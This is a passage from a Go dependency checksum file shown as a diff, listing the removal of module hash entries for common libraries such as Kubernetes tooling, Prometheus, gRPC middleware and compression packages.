v2.43.0/go.mod h1:o6jf7JM/zveWC/PP277BLxjHy5KjnGX/jfljhM4s34g= -github.com/MakeNowJust/heredoc v1.0.0 h1:cXCdzVdstXyiTqTvfqk9SDHpKNjxuom+DOlyEeQ4pzQ= -github.com/MakeNowJust/heredoc v1.0.0/go.mod h1:mG5amYoWBHf8vpLOuehzbGGw0EHxpZZ6lCpQ4fNJ8LE= -github.com/Masterminds/semver/v3 v3.4.0 h1:Zog+i5UMtVoCU8oKka5P7i9q9HgrJeGzI9SA1Xbatp0= -github.com/Masterminds/semver/v3 v3.4.0/go.mod h1:4V+yj/TJE1HU9XfppCwVMZq3I84lprf4nC11bSS5beM= -github.com/NYTimes/gziphandler v1.1.1 h1:ZUDjpQae29j0ryrS0u/B8HZfJBtBQHjqw2rQ2cqUQ3I= -github.com/NYTimes/gziphandler v1.1.1/go.mod h1:n/CVRwUEOgIxrgPvAQhUUr9oeUtvrhMomdKFjzJNB0c= -github.com/andybalholm/brotli v1.2.0 h1:ukwgCxwYrmACq68yiUqwIWnGY0cTPox/M94sVwToPjQ= -github.com/andybalholm/brotli v1.2.0/go.mod h1:rzTDkvFWvIrjDXZHkuS16NPggd91W3kUSvPlQ1pLaKY= -github.com/antlr4-go/antlr/v4 v4.13.0 h1:lxCg3LAv+EUK6t1i0y1V6/SLeUi0eKEKdhQAlS8TVTI= -github.com/antlr4-go/antlr/v4 v4.13.0/go.mod h1:pfChB/xh/Unjila75QW7+VU4TSnWnnk9UTnmpPaOR2g= -github.com/antlr4-go/antlr/v4 v4.13.1 h1:SqQKkuVZ+zWkMMNkjy5FZe5mr5WURWnlpmOuzYWrPrQ= -github.com/antlr4-go/antlr/v4 v4.13.1/go.mod h1:GKmUxMtwp6ZgGwZSva4eWPC5mS6vUAmOABFgjdkM7Nw= -github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= -github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= -github.com/blang/semver/v4 v4.0.0 h1:1PFHFE6yCCTv8C1TeyNNarDzntLi7wMI5i/pzqYIsAM= -github.com/blang/semver/v4 v4.0.0/go.mod h1:IbckMUScFkM3pff0VJDNKRiT6TG/YpiHIM2yvyW5YoQ= -github.com/cenkalti/backoff/v4 v4.3.0 h1:MyRJ/UdXutAwSAT+s3wNd7MfTIcy71VQueUuFK343L8= -github.com/cenkalti/backoff/v4 v4.3.0/go.mod h1:Y3VNntkOUPxTVeUxJ/G5vcM//AlwfmyYozVcomhLiZE= -github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs= -github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= -github.com/chai2010/gettext-go v1.0.2 h1:1Lwwip6Q2QGsAdl/ZKPCwTe9fe0CjlUbqj5bFNSjIRk= -github.com/chai2010/gettext-go v1.0.2/go.mod h1:y+wnP2cHYaVj19NZhYKAwEMH2CI1gNHeQQ+5AjwawxA= -github.com/coreos/go-semver v0.3.1 h1:yi21YpKnrx1gt5R+la8n5WgS0kCrsPp33dmEyHReZr4= -github.com/coreos/go-semver v0.3.1/go.mod h1:irMmmIw/7yzSRPWryHsK7EYSg09caPQL03VsM8rvUec= -github.com/coreos/go-systemd/v22 v22.5.0 h1:RrqgGjYQKalulkV8NGVIfkXQf6YYmOyiJKk8iXXhfZs= -github.com/coreos/go-systemd/v22 v22.5.0/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc= -github.com/cpuguy83/go-md2man/v2 v2.0.6/go.mod h1:oOW0eioCTA6cOiMLiUPZOpcVxMig6NIQQ7OS05n1F4g= -github.com/creack/pty v1.1.18 h1:n56/Zwd5o6whRC5PMGretI4IdRLlmBXYNjScPaBgsbY= -github.com/creack/pty v1.1.18/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4= -github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc h1:U9qPSI2PIWSS1VwoXQT9A3Wy9MM3WgvqSxFWenqJduM= -github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY= -github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto= -github.com/emicklei/go-restful/v3 v3.12.2 h1:DhwDP0vY3k8ZzE0RunuJy8GhNpPL6zqLkDf9B/a0/xU= -github.com/emicklei/go-restful/v3 v3.12.2/go.mod h1:6n3XBCmQQb25CM2LCACGz8ukIrRry+4bhvbpWn3mrbc= -github.com/evanphx/json-patch v0.5.2 h1:xVCHIVMUu1wtM/VkR9jVZ45N3FhZfYMMYGorLCR8P3k= -github.com/evanphx/json-patch v0.5.2/go.mod h1:ZWS5hhDbVDyob71nXKNL0+PWn6ToqBHMikGIFbs31qQ= -github.com/evanphx/json-patch/v5 v5.9.11 h1:/8HVnzMq13/3x9TPvjG08wUGqBTmZBsCWzjTM0wiaDU= -github.com/evanphx/json-patch/v5 v5.9.11/go.mod h1:3j+LviiESTElxA4p3EMKAB9HXj3/XEtnUf6OZxqIQTM= -github.com/exponent-io/jsonpath v0.0.0-20210407135951-1de76d718b3f h1:Wl78ApPPB2Wvf/TIe2xdyJxTlb6obmF18d8QdkxNDu4= -github.com/exponent-io/jsonpath v0.0.0-20210407135951-1de76d718b3f/go.mod h1:OSYXu++VVOHnXeitef/D8n/6y4QV8uLHSFXX4NeXMGc= -github.com/fatih/color v1.18.0 h1:S8gINlzdQ840/4pfAwic/ZE0djQEH3wM94VfqLTZcOM= -github.com/fatih/color v1.18.0/go.mod h1:4FelSpRwEGDpQ12mAdzqdOukCy4u8WUtOY6lkT/6HfU= -github.com/felixge/httpsnoop v1.0.4 h1:NFTV2Zj1bL4mc9sqWACXbQFVBBg2W3GPvqp8/ESS2Wg= -github.com/felixge/httpsnoop v1.0.4/go.mod h1:m8KPJKqk1gH5J9DgRY2ASl2lWCfGKXixSwevea8zH2U= -github.com/fsnotify/fsnotify v1.9.0 h1:2Ml+OJNzbYCTzsxtv8vKSFD9PbJjmhYF14k/jKC7S9k= -github.com/fsnotify/fsnotify v1.9.0/go.mod h1:8jBTzvmWwFyi3Pb8djgCCO5IBqzKJ/Jwo8TRcHyHii0= -github.com/fxamacker/cbor/v2 v2.9.0 h1:NpKPmjDBgUfBms6tr6JZkTHtfFGcMKsw3eGcmD/sapM= -github.com/fxamacker/cbor/v2 v2.9.0/go.mod h1:vM4b+DJCtHn+zz7h3FFp/hDAI9WNWCsZj23V5ytsSxQ= -github.com/go-errors/errors v1.4.2 h1:J6MZopCL4uSllY1OfXM374weqZFFItUbrImctkmUxIA= -github.com/go-errors/errors v1.4.2/go.mod h1:sIVyrIiJhuEF+Pj9Ebtd6P/rEYROXFi3BopGUQ5a5Og= -github.com/go-faster/city v1.0.1 h1:4WAxSZ3V2Ws4QRDrscLEDcibJY8uf41H6AhXDrNDcGw= -github.com/go-faster/city v1.0.1/go.mod h1:jKcUJId49qdW3L1qKHH/3wPeUstCVpVSXTM6vO3VcTw= -github.com/go-faster/errors v0.7.1 h1:MkJTnDoEdi9pDabt1dpWf7AA8/BaSYZqibYyhZ20AYg= -github.com/go-faster/errors v0.7.1/go.mod h1:5ySTjWFiphBs07IKuiL69nxdfd5+fzh1u7FPGZP2quo= -github.com/go-logr/logr v1.2.2/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A= -github.com/go-logr/logr v1.4.3 h1:CjnDlHq8ikf6E492q6eKboGOC0T8CDaOvkHCIg8idEI= -github.com/go-logr/logr v1.4.3/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY= -github.com/go-logr/stdr v1.2.2 h1:hSWxHoqTgW2S2qGc0LTAI563KZ5YKYRhT3MFKZMbjag= -github.com/go-logr/stdr v1.2.2/go.mod h1:mMo/vtBO5dYbehREoey6XUKy/eSumjCCveDpRre4VKE= -github.com/go-logr/zapr v1.3.0 h1:XGdV8XW8zdwFiwOA2Dryh1gj2KRQyOOoNmBy4EplIcQ= -github.com/go-logr/zapr v1.3.0/go.mod h1:YKepepNBd1u/oyhd/yQmtjVXmm9uML4IXUgMOwR8/Gg= -github.com/go-openapi/jsonpointer v0.22.1 h1:sHYI1He3b9NqJ4wXLoJDKmUmHkWy/L7rtEo92JUxBNk= -github.com/go-openapi/jsonpointer v0.22.1/go.mod h1:pQT9OsLkfz1yWoMgYFy4x3U5GY5nUlsOn1qSBH5MkCM= -github.com/go-openapi/jsonreference v0.21.3 h1:96Dn+MRPa0nYAR8DR1E03SblB5FJvh7W6krPI0Z7qMc= -github.com/go-openapi/jsonreference v0.21.3/go.mod h1:RqkUP0MrLf37HqxZxrIAtTWW4ZJIK1VzduhXYBEeGc4= -github.com/go-openapi/swag v0.23.0 h1:vsEVJDUo2hPJ2tu0/Xc+4noaxyEffXNIs3cOULZ+GrE= -github.com/go-openapi/swag v0.23.0/go.mod h1:esZ8ITTYEsH1V2trKHjAN8Ai7xHb8RV+YSZ577vPjgQ= -github.com/go-openapi/swag/jsonname v0.25.1 h1:Sgx+qbwa4ej6AomWC6pEfXrA6uP2RkaNjA9BR8a1RJU= -github.com/go-openapi/swag/jsonname v0.25.1/go.mod h1:71Tekow6UOLBD3wS7XhdT98g5J5GR13NOTQ9/6Q11Zo= -github.com/go-openapi/testify/v2 v2.0.2 h1:X999g3jeLcoY8qctY/c/Z8iBHTbwLz7R2WXd6Ub6wls= -github.com/go-openapi/testify/v2 v2.0.2/go.mod h1:HCPmvFFnheKK2BuwSA0TbbdxJ3I16pjwMkYkP4Ywn54= -github.com/go-task/slim-sprig/v3 v3.0.0 h1:sUs3vkvUymDpBKi3qH1YSqBQk9+9D/8M2mN1vB6EwHI= -github.com/go-task/slim-sprig/v3 v3.0.0/go.mod h1:W848ghGpv3Qj3dhTPRyJypKRiqCdHZiAzKg9hl15HA8= -github.com/gobuffalo/flect v1.0.3 h1:xeWBM2nui+qnVvNM4S3foBhCAL2XgPU+a7FdpelbTq4= -github.com/gobuffalo/flect v1.0.3/go.mod h1:A5msMlrHtLqh9umBSnvabjsMrCcCpAyzglnDvkbYKHs= -github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= -github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q= -github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q= -github.com/golang-jwt/jwt/v5 v5.3.0 h1:pv4AsKCKKZuqlgs5sUmn4x8UlGa0kEVt/puTpKx9vvo= -github.com/golang-jwt/jwt/v5 v5.3.0/go.mod h1:fxCRLWMO43lRc8nhHWY6LGqRcf+1gQWArsqaEUEa5bE= -github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= -github.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek= -github.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6rSs7xps= -github.com/golang/snappy v0.0.1/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= -github.com/google/btree v1.1.3 h1:CVpQJjYgC4VbzxeGVHfvZrv1ctoYCAI8vbl07Fcxlyg= -github.com/google/btree v1.1.3/go.mod h1:qOPhT0dTNdNzV6Z/lhRX0YXUafgPLFUh+gZMl761Gm4= -github.com/google/cel-go v0.26.0 h1:DPGjXackMpJWH680oGY4lZhYjIameYmR+/6RBdDGmaI= -github.com/google/cel-go v0.26.0/go.mod h1:A9O8OU9rdvrK5MQyrqfIxo1a0u4g3sF8KB6PUIaryMM= -github.com/google/cel-go v0.27.0 h1:e7ih85+4qVrBuqQWTW4FKSqZYokVuc3HnhH5keboFTo= -github.com/google/cel-go v0.27.0/go.mod h1:tTJ11FWqnhw5KKpnWpvW9CJC3Y9GK4EIS0WXnBbebzw= -github.com/google/gnostic-models v0.7.0 h1:qwTtogB15McXDaNqTZdzPJRHvaVJlAl+HVQnLmJEJxo= -github.com/google/gnostic-models v0.7.0/go.mod h1:whL5G0m6dmc5cPxKc5bdKdEN3UjI7OUGxBlw57miDrQ= -github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= -github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= -github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= -github.com/google/gofuzz v1.2.0 h1:xRy4A+RhZaiKjJ1bPfwQ8sedCA+YS2YcCHW6ec7JMi0= -github.com/google/gofuzz v1.2.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= -github.com/google/jsonschema-go v0.4.2 h1:tmrUohrwoLZZS/P3x7ex0WAVknEkBZM46iALbcqoRA8= -github.com/google/jsonschema-go v0.4.2/go.mod h1:r5quNTdLOYEz95Ru18zA0ydNbBuYoo9tgaYcxEYhJVE= -github.com/google/pprof v0.0.0-20250403155104-27863c87afa6 h1:BHT72Gu3keYf3ZEu2J0b1vyeLSOYI8bm5wbJM/8yDe8= -github.com/google/pprof v0.0.0-20250403155104-27863c87afa6/go.mod h1:boTsfXsheKC2y+lKOCMpSfarhxDeIzfZG1jqGcPl3cA= -github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= -github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/gorilla/websocket v1.5.4-0.20250319132907-e064f32e3674 h1:JeSE6pjso5THxAzdVpqr6/geYxZytqFMBCOtn/ujyeo= -github.com/gorilla/websocket v1.5.4-0.20250319132907-e064f32e3674/go.mod h1:r4w70xmWCQKmi1ONH4KIaBptdivuRPyosB9RmPlGEwA= -github.com/gregjones/httpcache v0.0.0-20190611155906-901d90724c79 h1:+ngKgrYPPJrOjhax5N+uePQ0Fh1Z7PheYoUI/0nzkPA= -github.com/gregjones/httpcache v0.0.0-20190611155906-901d90724c79/go.mod h1:FecbI9+v66THATjSRHfNgh1IVFe/9kFxbXtjV0ctIMA= -github.com/grpc-ecosystem/go-grpc-middleware/providers/prometheus v1.0.1 h1:qnpSQwGEnkcRpTqNOIR6bJbR0gAorgP9CSALpRcKoAA= -github.com/grpc-ecosystem/go-grpc-middleware/providers/prometheus v1.0.1/go.mod h1:lXGCsh6c22WGtjr+qGHj1otzZpV/1kwTMAqkwZsnWRU= -github.com/grpc-ecosystem/go-grpc-middleware/v2 v2.3.0 h1:FbSCl+KggFl+Ocym490i/EyXF4lPgLoUtcSWquBM0Rs= -github.com/grpc-ecosystem/go-grpc-middleware/v2 v2.3.0/go.mod h1:qOchhhIlmRcqk/O9uCo/puJlyo07YINaIqdZfZG3Jkc= -github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0 h1:Ovs26xHkKqVztRpIrF/92BcuyuQ/YW4NSIpoGtfXNho= -github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgfV/d3M/q6VIi02HzZEHgUlZvzk= -github.com/grpc-ecosystem/grpc-gateway/v2 v2.27.3 h1:NmZ1PKzSTQbuGHw9DGPFomqkkLWMC+vZCkfs+FHv1Vg= -github.com/grpc-ecosystem/grpc-gateway/v2 v2.27.3/go.mod h1:zQrxl1YP88HQlA6i9c63DSVPFklWpGX4OWAc9bFuaH4= -github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8= -github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= -github.com/jonboulle/clockwork v0.5.0 h1:Hyh9A8u51kptdkR+cqRpT1EebBwTn1oK9YfGYbdFz6I= -github.com/jonboulle/clockwork v0.5.0/go.mod h1:3mZlmanh0g2NDKO5TWZVJAfofYk64M7XN3SzBPjZF60= -github.com/josharian/intern v1.0.0 h1:vlS4z54oSdjm0bgjRigI+G1HpF+tI+9rE5LLzOg8HmY= -github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y= -github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= -github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= -github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8= -github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= -github.com/klauspost/compress v1.13.6/go.mod h1:/3/Vjq9QcHkK5uEr5lBEmyoZ1iFhe47etQ6QUkpK6sk= -github.com/klauspost/compress v1.18.2 h1:iiPHWW0YrcFgpBYhsA6D1+fqHssJscY/Tm/y2Uqnapk= -github.com/klauspost/compress v1.18.2/go.mod h1:R0h/fSBs8DE4ENlcrlib3PsXS61voFxhIs2DeRhCvJ4= -github.com/klauspost/compress v1.18.3 h1:9PJRvfbmTabkOX8moIpXPbMMbYN60bWImDDU7L+/6zw= -github.com/klauspost/compress v1.18.3/go.mod h1:R0h/fSBs8DE4ENlcrlib3PsXS61voFxhIs2DeRhCvJ4= -github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= -github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= -github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= -github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= -github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= -github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= -github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= -github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc= -github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw= -github.com/liggitt/tabwriter v0.0.0-20181228230101-89fcab3d43de h1:9TO3cAIGXtEhnIaL+V+BEER86oLrvS+kWobKpbJuye0= -github.com/liggitt/tabwriter v0.0.0-20181228230101-89fcab3d43de/go.mod h1:zAbeS9B/r2mtpb6U+EI2rYA5OAXxsYw6wTamcNW+zcE= -github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0= -github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc= -github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= -github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= -github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= -github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= -github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= -github.com/mitchellh/go-wordwrap v1.0.1 h1:TLuKupo69TCn6TQSyGxwI1EblZZEsQ0vMlAFQflz0v0= -github.com/mitchellh/go-wordwrap v1.0.1/go.mod h1:R62XHJLzvMFRBbcrT7m7WgmE1eOyTSsCt+hzestvNj0= -github.com/moby/term v0.5.0 h1:xt8Q1nalod/v7BqbG21f8mQPqH+xAaC9C3N3wfWbVP0= -github.com/moby/term v0.5.0/go.mod h1:8FzsFHVUBGZdbDsJw/ot+X+d5HLUbvklYLJ9uGfcI3Y= -github.com/modelcontextprotocol/go-sdk v1.4.1 h1:M4x9GyIPj+HoIlHNGpK2hq5o3BFhC+78PkEaldQRphc= -github.com/modelcontextprotocol/go-sdk v1.4.1/go.mod h1:Bo/mS87hPQqHSRkMv4dQq1XCu6zv4INdXnFZabkNU6s= -github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= -github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= -github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= -github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= -github.com/modern-go/reflect2 v1.0.3-0.20250322232337-35a7c28c31ee h1:W5t00kpgFdJifH4BDsTlE89Zl93FEloxaWZfGcifgq8= -github.com/modern-go/reflect2 v1.0.3-0.20250322232337-35a7c28c31ee/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= -github.com/monochromegane/go-gitignore v0.0.0-20200626010858-205db1a8cc00 h1:n6/2gBQ3RWajuToeY6ZtZTIKv2v7ThUy5KKusIT0yc0= -github.com/monochromegane/go-gitignore v0.0.0-20200626010858-205db1a8cc00/go.mod h1:Pm3mSP3c5uWn86xMLZ5Sa7JB9GsEZySvHYXCTK4E9q4= -github.com/montanaflynn/stats v0.0.0-20171201202039-1bf9dbcd8cbe/go.mod h1:wL8QJuTMNUDYhXwkmfOly8iTdp5TEcJFWZD2D7SIkUc= -github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA= -github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ= -github.com/nats-io/nats.go v1.48.0 h1:pSFyXApG+yWU/TgbKCjmm5K4wrHu86231/w84qRVR+U= -github.com/nats-io/nats.go v1.48.0/go.mod h1:iRWIPokVIFbVijxuMQq4y9ttaBTMe0SFdlZfMDd+33g= -github.com/nats-io/nkeys v0.4.11 h1:q44qGV008kYd9W1b1nEBkNzvnWxtRSQ7A8BoqRrcfa0= -github.com/nats-io/nkeys v0.4.11/go.mod h1:szDimtgmfOi9n25JpfIdGw12tZFYXqhGxjhVxsatHVE= -github.com/nats-io/nuid v1.0.1 h1:5iA8DT8V7q8WK2EScv2padNa/rTESc1KdnPw4TC2paw= -github.com/nats-io/nuid v1.0.1/go.mod h1:19wcPz3Ph3q0Jbyiqsd0kePYG7A95tJPxeL+1OSON2c= -github.com/nxadm/tail v1.4.8 h1:nPr65rt6Y5JFSKQO7qToXr7pePgD6Gwiw05lkbyAQTE= -github.com/nxadm/tail v1.4.8/go.mod h1:+ncqLTQzXmGhMZNUePPaPqPvBxHAIsmXswZKocGu+AU= -github.com/onsi/ginkgo v1.16.5 h1:8xi0RTUf59SOSfEtZMvwTvXYMzG4gV23XVHOZiXNtnE= -github.com/onsi/ginkgo v1.16.5/go.mod h1:+E8gABHa3K6zRBolWtd+ROzc/U5bkGt0FwiG042wbpU= -github.com/onsi/ginkgo/v2 v2.27.2 h1:LzwLj0b89qtIy6SSASkzlNvX6WktqurSHwkk2ipF/Ns= -github.com/onsi/ginkgo/v2 v2.27.2/go.mod h1:ArE1D/XhNXBXCBkKOLkbsb2c81dQHCRcF5zwn/ykDRo= -github.com/onsi/gomega v1.38.3 h1:eTX+W6dobAYfFeGC2PV6RwXRu/MyT+cQguijutvkpSM= -github.com/onsi/gomega v1.38.3/go.mod h1:ZCU1pkQcXDO5Sl9/VVEGlDyp+zm0m1cmeG5TOzLgdh4= -github.com/paulmach/orb v0.12.0 h1:z+zOwjmG3MyEEqzv92UN49Lg1JFYx0L9GpGKNVDKk1s= -github.com/paulmach/orb v0.12.0/go.mod h1:5mULz1xQfs3bmQm63QEJA6lNGujuRafwA5S/EnuLaLU= -github.com/paulmach/protoscan v0.2.1/go.mod h1:SpcSwydNLrxUGSDvXvO0P7g7AuhJ7lcKfDlhJCDw2gY= -github.com/peterbourgon/diskv v2.0.1+incompatible h1:UBdAOUP5p4RWqPBg048CAvpKN+vxiaj6gdUUzhl4XmI= -github.com/peterbourgon/diskv v2.0.1+incompatible/go.mod h1:uqqh8zWWbv1HBMNONnaR/tNboyR3/BZd58JJSHlUSCU= -github.com/pierrec/lz4/v4 v4.1.23 h1:oJE7T90aYBGtFNrI8+KbETnPymobAhzRrR8Mu8n1yfU= -github.com/pierrec/lz4/v4 v4.1.23/go.mod h1:EoQMVJgeeEOMsCqCzqFm2O0cJvljX2nGZjcRIPL34O4= -github.com/pierrec/lz4/v4 v4.1.25 h1:kocOqRffaIbU5djlIBr7Wh+cx82C0vtFb0fOurZHqD0= -github.com/pierrec/lz4/v4 v4.1.25/go.mod h1:EoQMVJgeeEOMsCqCzqFm2O0cJvljX2nGZjcRIPL34O4= -github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= -github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= -github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= -github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= -github.com/prometheus/client_golang v1.23.2 h1:Je96obch5RDVy3FDMndoUsjAhG5Edi49h0RJWRi/o0o= -github.com/prometheus/client_golang v1.23.2/go.mod h1:Tb1a6LWHB3/SPIzCoaDXI4I8UHKeFTEQ1YCr+0Gyqmg= -github.com/prometheus/client_model v0.6.2 h1:oBsgwpGs7iVziMvrGhE53c/GrLUsZdHnqNwqPLxwZyk= -github.com/prometheus/client_model v0.6.2/go.mod h1:y3m2F6Gdpfy6Ut/GBsUqTWZqCUvMVzSfMLjcu6wAwpE= -github.com/prometheus/common v0.66.1 h1:h5E0h5/Y8niHc5DlaLlWLArTQI7tMrsfQjHV+d9ZoGs= -github.com/prometheus/common v0.66.1/go.mod h1:gcaUsgf3KfRSwHY4dIMXLPV0K/Wg1oZ8+SbZk/HH/dA= -github.com/prometheus/procfs v0.16.1 h1:hZ15bTNuirocR6u0JZ6BAHHmwS1p8B4P6MRqxtzMyRg= -github.com/prometheus/procfs v0.16.1/go.mod h1:teAbpZRB1iIAJYREa1LsoWUXykVXA1KlTmWl8x/U+Is= -github.com/rogpeppe/go-internal v1.14.1 h1:UQB4HGPB6osV0SQTLymcB4TgvyWu6ZyliaW0tI/otEQ= -github.com/rogpeppe/go-internal v1.14.1/go.mod h1:MaRKkUm5W0goXpeCfT7UZI6fk/L7L7so1lCWt35ZSgc= -github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk= -github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= -github.com/segmentio/asm v1.2.1 h1:DTNbBqs57ioxAD4PrArqftgypG4/qNpXoJx8TVXxPR0= -github.com/segmentio/asm v1.2.1/go.mod h1:BqMnlJP91P8d+4ibuonYZw9mfnzI9HfxselHZr5aAcs= -github.com/segmentio/encoding v0.5.4 h1:OW1VRern8Nw6ITAtwSZ7Idrl3MXCFwXHPgqESYfvNt0= -github.com/segmentio/encoding 